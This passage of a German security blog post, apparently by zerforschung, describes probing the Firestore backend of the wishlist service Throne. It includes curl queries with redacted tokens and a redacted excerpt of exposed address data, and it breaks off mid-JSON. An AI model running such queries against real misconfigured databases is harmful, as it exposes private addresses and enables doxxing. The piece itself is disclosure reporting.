&lt;p&gt;Eine Möglichkeit sind natürlich direkte Geldspenden, aber auch Wunschlisten erfreuen sich zunehmend großer Beliebtheit. Wer seinen Internet-Lieblingen eine Freude machen will, sucht sich zum Beispiel die Amazon-Wishlists raus und verschenkt technische Ausrüstung oder was Nettes zum Snacken.&lt;/p&gt;
&lt;div class=&#34;shortcode-infotextbox&#34;&gt;
	Auch wir freuen uns immer über Geschenke. Wie das geht, steht auf &lt;a href=&#34;https://zerforschung.org/unterstuetzen/&#34;&gt;unserer Unterstützen-Seite&lt;/a&gt;
&lt;/div&gt;
&lt;p&gt;Aber wir wissen alle: &lt;del&gt;Das Internet&lt;/del&gt; die Welt ist ein gefährlicher Ort. Private Daten landen im Netz (&lt;a href=&#34;https://www.tagesschau.de/inland/doxxing-101.html&#34;&gt;&lt;em&gt;Doxxing&lt;/em&gt;&lt;/a&gt;), Notrufe von den Adressen öffentlich sichtbarer Personen werden vorgetäuscht, sodass dort »Spezialeinheiten« auftauchen (&lt;a href=&#34;https://www.zdf.de/nachrichten/video/panorama-swatting-straftat-100.html&#34;&gt;&lt;em&gt;Swatting&lt;/em&gt;&lt;/a&gt;). Dabei geht es nicht nur um gefährliche Späße, teilweise bilden sich organisierte Gruppen, die sich in den Kopf gesetzt haben, ihrem Opfer das Leben zur Hölle zu machen.&lt;/p&gt;
&lt;h2 id=&#34;niemanden-geht-an-wo-dein-haus-wohnt&#34;&gt;Niemanden geht an, wo dein Haus wohnt&lt;/h2&gt;
&lt;p&gt;Nachvollziehbar also, dass viele Menschen, die im Internet auftreten, ihre Adresse oder auch ihre komplette Identität geheim halten wollen.
Dafür sind Amazon Wishlists nicht ideal.
Denn standardmäßig werden dort Name und Stadt angezeigt – und das war&amp;rsquo;s dann mit der vollständigen Anonymität.&lt;/p&gt;
&lt;p&gt;Doch nicht nur, dass Name und Stadt automatisch öffentlich sind.
Es kursieren außerdem Berichte darüber, dass es bei Amazon durchaus möglich ist, an die vollständigen persönlichen Daten inklusive der Adresse der beschenkten Person zu kommen – zum Beispiel, indem man Mitarbeitende manipuliert (&lt;em&gt;social engineering&lt;/em&gt;) oder technische Schlupflöcher ausnutzt&lt;sup id=&#34;fnref:1&#34;&gt;&lt;a href=&#34;#fn:1&#34; class=&#34;footnote-ref&#34; role=&#34;doc-noteref&#34;&gt;1&lt;/a&gt;&lt;/sup&gt;.&lt;/p&gt;
&lt;p&gt;Wo es so ein Problem gibt, tauchen schnell die ersten Startups auf, um die Lücken auf dem Markt und in ihrem Geldbeutel zu stopfen (»Plattform-Marketing! Creator-Economy! Kapitalismus! Yay!«).&lt;/p&gt;
&lt;h2 id=&#34;profit-mit-dem-privatsphäreversprechen&#34;&gt;Profit mit dem Privatsphäreversprechen&lt;/h2&gt;
&lt;p&gt;Eins der Start-Ups, die von dieser Angst profitieren wollen: &lt;a href=&#34;https://throne.com&#34;&gt;Throne&lt;/a&gt;.
Throne existiert seit 2021 und &lt;a href=&#34;https://jointhrone.zendesk.com/hc/en-us/articles/4406388475412-Do-you-keep-my-delivery-address-private-&#34;&gt;wirbt damit&lt;/a&gt;, onlinekreativen Unterhaltungsproduzierenden&lt;sup id=&#34;fnref:2&#34;&gt;&lt;a href=&#34;#fn:2&#34; class=&#34;footnote-ref&#34; role=&#34;doc-noteref&#34;&gt;2&lt;/a&gt;&lt;/sup&gt; ihre Geschenke zu besorgen, dabei aber deren Name und Adresse geheim zu halten:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Throne was created with privacy as our first principle.&lt;/p&gt;
&lt;p&gt;We value our creators privacy and keep addresses entirely private.
No fan will ever see your address, delivery name or any other identifiable information.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Das funktioniert so:
Onlinekreative Unterhaltungsproduzierende stellen eine Wunschliste aus Produkten verschiedener Shops zusammen.
Fans können dann daraus Produkte auswählen und den entsprechenden Geldbetrag an Throne zahlen.
Throne wiederum bestellt mit dem Geld das Produkt – beispielsweise von Amazon – direkt nach Hause zu den onlinekreativen Unterhaltungsproduzierenden.&lt;/p&gt;
&lt;p&gt;Für einen Bissen vom Kuchen&lt;sup id=&#34;fnref:3&#34;&gt;&lt;a href=&#34;#fn:3&#34; class=&#34;footnote-ref&#34; role=&#34;doc-noteref&#34;&gt;3&lt;/a&gt;&lt;/sup&gt;, versteht sich.&lt;/p&gt;
&lt;figure&gt;&lt;a href=&#34;https://zerforschung.org/p/throne/how-throne-works.png&#34;&gt;&lt;img src=&#34;https://zerforschung.org/p/throne/how-throne-works.png&#34;
         alt=&#34;Schaubild, wie Creator, Fan und Throne sowie der Shop zusammenhängen&#34;/&gt;&lt;/a&gt;&lt;figcaption&gt;
            &lt;p&gt;Graphic Design is our passion&lt;/p&gt;
        &lt;/figcaption&gt;
&lt;/figure&gt;

&lt;p&gt;Das heißt: Wem eine Amazon-Wishlist zu heikel ist, gibt seine Adresse an Throne, damit Throne dann diese Adresse bei Amazon ins Bestellformular auf die Empfängerseite eintragen kann.
Der Hauptunterschied zur Amazon-Wishlist: Throne ist als zusätzliche Sicherheitsschicht zwischen der schenkenden Person und dem Online-Shop.&lt;/p&gt;
&lt;p&gt;Dadurch sitzt eine solche Plattform natürlich auf einem besonders sensiblen Datenschatz – den privaten Adressen vieler interessanter Persönlichkeiten.
Diesen Datenschatz muss die Plattform dann auch gut hüten 🐉.&lt;/p&gt;
&lt;p&gt;Doch wir würden nicht darüber schreiben, wenn uns da nicht was passiert wäre…&lt;/p&gt;
&lt;h2 id=&#34;stein-auf-stein--bis-es-umfällt&#34;&gt;Stein auf Stein – bis es umfällt&lt;/h2&gt;
&lt;p&gt;Bis wir euch verraten können, was genau uns passiert ist, müssen wir erst noch kurz verstehen, wie Throne eigentlich funktioniert.&lt;/p&gt;
&lt;p&gt;Als wir uns Throne genauer angeschaut haben, haben wir uns auch zuallererst einen Überblick verschafft. Dafür haben wir die Entwickler*innen-Tools unseres Browsers geöffnet und uns ein bisschen im Quellcode der Website umgeschaut.&lt;/p&gt;
&lt;p&gt;Dabei stach uns direkt etwas ins Auge&lt;sup id=&#34;fnref:4&#34;&gt;&lt;a href=&#34;#fn:4&#34; class=&#34;footnote-ref&#34; role=&#34;doc-noteref&#34;&gt;4&lt;/a&gt;&lt;/sup&gt;:
Für den Betrieb der App hat sich Throne an einem Bauklotzhaufen aus dem Hause Google bedient: Um sich nicht um alle Einzelteile einer App kümmern zu müssen, verwenden sie für den Betrieb im Hintergrund Teile von &lt;a href=&#34;https://firebase.google.com&#34;&gt;Google Firebase&lt;/a&gt;.
Denn viele Startups wollen so lästige Dinge wie Dateispeicher, eine Komponente zum Anmelden und eine Datenbank nicht unbedingt selbst betreiben.
Das alles können sie an Firebase auslagern – und sich auf den Kern ihrer Startup-Software-Entwicklung konzentrieren.&lt;/p&gt;
&lt;p&gt;Eine der Komponenten des Google-Bauklotzhaufens &lt;em&gt;Firebase&lt;/em&gt; ist &lt;em&gt;Firestore&lt;/em&gt;.
Das ist eine Datenbank, also das Langzeitgedächtnis der Anwendung.
Daten werden dort in sogenannten &lt;em&gt;Collections&lt;/em&gt; gespeichert. Das ist lose vergleichbar mit Tabellen.&lt;/p&gt;
&lt;p&gt;An diese Datenbank kann man nun Anfragen stellen: &lt;em&gt;Was hat ein*e bestimmte*r onlinekreative*r Unterhaltungsproduzent*in so auf der Wunschliste stehen? Wie viel kosten diese Katzenohren eigentlich? Und überhaupt, wo gibt es diese tollen Katzenohren? (Wir wollen die auch!)&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Die Datenbank darf einem natürlich nicht auf alle Fragen antworten. Denn nicht alle Informationen sind für uns bestimmt.
Damit nicht alle alles lesen (oder ändern) können, kann man die Berechtigungen genau einstellen.&lt;/p&gt;
&lt;p&gt;Fragen wir zum Beispiel nach der Liste aller Adressen, bekommen wir nur eine Fehlermeldung, die uns sagt, dass wir das nicht dürfen.&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-json&#34; data-lang=&#34;json&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;// curl -H &amp;#34;Authorization: Bearer ey[...]&amp;#34; https://firestore.googleapis.com/v1/projects/onlywish-9d17b/databases/(default)/documents/deliveryDetails
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;{
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;error&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;code&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;403&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;message&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;Missing or insufficient permissions.&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;status&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;PERMISSION_DENIED&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Aber wenn wir nach unser eigenen Adresse fragen, geht das ohne Probleme:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-json&#34; data-lang=&#34;json&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;// curl -H &amp;#34;Authorization: Bearer ey[...]&amp;#34; https://firestore.googleapis.com/v1/projects/onlywish-9d17b/databases/(default)/documents/deliveryDetails/[ZERFORSCHUNGS USER-ID]
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;{
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;name&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;projects/onlywish-9d17b/databases/(default)/documents/deliveryDetails/[ZERFORSCHUNGS USER-ID]&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;fields&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;...&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;city&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;stringValue&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;Musterhausen&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;postcode&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;stringValue&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;12345&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;address1&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;stringValue&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;Hackstraße 23&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;address2&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;stringValue&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;state&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;stringValue&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;Belpin&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;country&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;stringValue&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;DE&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;lastName&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;stringValue&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;forschung&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;delivery_instructions&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;stringValue&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;Bitte dem pinken Einhorn übergeben&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;hasIssue&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;booleanValue&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#66d9ef&#34;&gt;false&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;name&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;stringValue&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;zer&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;...&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;kekse-für-alle&#34;&gt;Kekse für alle&lt;/h2&gt;
&lt;p&gt;Und so haben wir weiterprobiert, was wir alles abrufen dürfen.
Lange haben wir fast nur Informationen bekommen, die man auch direkt auf der Website sieht&lt;sup id=&#34;fnref:5&#34;&gt;&lt;a href=&#34;#fn:5&#34; class=&#34;footnote-ref&#34; role=&#34;doc-noteref&#34;&gt;5&lt;/a&gt;&lt;/sup&gt;.&lt;/p&gt;
&lt;p&gt;Doch dann fanden wir eine Collection namens &lt;code&gt;constants&lt;/code&gt;.
In dieser standen allerlei Dinge:
Die Umrechnungskurse verschiedener Währungen&lt;sup id=&#34;fnref:6&#34;&gt;&lt;a href=&#34;#fn:6&#34; class=&#34;footnote-ref&#34; role=&#34;doc-noteref&#34;&gt;6&lt;/a&gt;&lt;/sup&gt;, eine Liste welche Shops es bei Throne gibt – und ein paar interne Zugangsdaten sowie eine Liste mit gesperrten Adressen und Accounts.&lt;/p&gt;
&lt;p&gt;Leider &lt;a href=&#34;https://zerforschung.org/posts/testzentrum-die-dritte/&#34;&gt;hatten wir in der Vergangenheit schon einmal den Fall&lt;/a&gt;, dass die Berechtigungen nicht richtig eingestellt waren. Dort konnten wir nach internen Zugangsdaten fragen und bekamen eine Antwort.&lt;/p&gt;
&lt;details&gt;
  &lt;summary&gt;Ein Auszug aus der &lt;code&gt;constants&lt;/code&gt;-Collection (Klicken zum Ausklappen)&lt;/summary&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-json&#34; data-lang=&#34;json&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;// curl -H &amp;#34;Authorization: Bearer ey[...]&amp;#34; https://firestore.googleapis.com/v1/projects/onlywish-9d17b/databases/(default)/documents/constants
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;{
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;documents&amp;#34;&lt;/span&gt;: [
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;...&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;name&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;projects/onlywish-9d17b/databases/(default)/documents/constants/exchangeRates&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;fields&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;CHF&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;          &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;doubleValue&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;1.1060111707128242&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;...&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;path&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;constants/bannedDeliveryDetails&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;data&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;addresses&amp;#34;&lt;/span&gt;: [
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;          {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;searchableName&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;████&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;delivery_instructions&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;postcode&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;███&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;city&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;█████&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;googleMapsFormattedAddress&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;██████████████&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;updatedAt&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;1657348&lt;/span&gt;&lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;████&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;firstName&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;███████&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;address2&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;geo&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;              &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;lat&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;26&lt;/span&gt;&lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;.██████&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;              &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;lng&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;-80&lt;/span&gt;&lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;.█████&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;lastName&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;████&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;phone&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;████████&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;country&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;US&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;address1&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;██████████&amp;#34;&lt;/span&gt;,
